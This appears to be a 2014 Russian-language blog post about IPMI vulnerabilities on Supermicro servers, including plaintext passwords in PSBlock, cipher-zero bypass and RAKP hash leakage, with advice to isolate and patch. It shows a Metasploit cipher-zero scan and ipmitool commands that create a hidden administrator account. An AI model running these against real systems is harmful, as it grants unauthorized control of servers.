20 июн. 2014 г.

IPMI и безопасность

В IPMI Supermicro обнаружена серьезная проблема с безопасностью. Оказалось, что в файле PSBlock хранятся пароли в открытом виде (причина — в спецификации IPMI 2.0), а сам файл можно легко получить простым GET запросом через порт 49152. Уязвимость присутствует во всех платах Supermicro, использующих BMC Nuvoton WPCM450. Что делать?
Временное решение — отключить UPnP, убив соответствующие сервисы. Но при перезагрузке BMC UPnP будет снова запущен.
Если вы по какой-то странной причине просто взяли и выставили IPMI в интернет, то самое время перестать это делать. Как и любой интерфейс управления IPMI должен находится в отдельной сети, наружных доступ — только через VPN. Относитесь к IPMI любого вендора, как к заведомо небезопасному интерфейсу, который позволит злоумышленнику получить доступ к консоли сервера.
Помимо вчерашней уязвимости с PSBlock, есть еще обширный список давно известных уязвимостей, закрытых в последних прошивках. Описание есть на Rapid7:

Cipher 0. Самая скандальная уязвимость, связанная с изначальной ошибкой в спецификации IPMI 2.0. На запрос клиента об использовании нешифрованной передачи данных IPMI позволяет получить доступ без пароля. Вот пример того, что получилось в сети клиента (несколько серверов с платами X8 и X9) после сканирования из Metasploit shell:
msf exploit(libupnp_ssdp_overflow) > use auxiliary/scanner/ipmi/ipmi_cipher_zero
msf auxiliary(ipmi_cipher_zero) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(ipmi_cipher_zero) > run

[*] Sending IPMI requests to 192.168.1.0->192.168.1.255 (256 hosts)
[+] 192.168.1.32:623 - IPMI - VULNERABLE: Accepted a session open request for cipher zero
[+] 192.168.1.71:623 - IPMI - VULNERABLE: Accepted a session open request for cipher zero
[+] 192.168.1.219:623 - IPMI - VULNERABLE: Accepted a session open request for cipher zero
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
Получаем список пользователей:
ipmitool -I lanplus -C 0 -H 192.168.1.32 -U ADMIN -P FluffyWabbit user list
ID  Name             Callin  Link Auth  IPMI Msg   Channel Priv Limit
2   ADMIN            false   false      true       ADMINISTRATOR
Добавляем пользователя с ID=3 и администраторскими правами:
ipmitool -I lanplus -C 0 -H 192.168.1.32 -U ADMIN -P FluffyWabbit user set name 3 quartz
ipmitool -I lanplus -C 0 -H 192.168.1.32 -U ADMIN -P FluffyWabbit user set password 3 Q123q
ipmitool -I lanplus -C 0 -H 192.168.1.32 -U ADMIN -P FluffyWabbit user priv 3 4
ipmitool -I lanplus -C 0 -H 192.168.1.32 -U ADMIN -P FluffyWabbit user enable 3
Получаем доступ:

IPMI 2.0 RAKP Authentication Remote Password Hash Retrieval. Снова проблема в спецификации IPMI 2.0, которая приводит к курьезу: система без всякой авторизации просто отдает хэш пароля. Можно забрать хэши и заняться брутфорсом при помощи какого-нибудь JohnTheRipper.
Есть еще куча дыр: UPnP, анонимный доступ (пользователь с пустым именем), локальный доступ из ОС хоста без авторизации... Уязвимости закрываются в новых прошивках IPMI, но выявляются новые.
Внимательно прочтите "IPMI Security Best Practices" и ограничьте доступ к IPMI.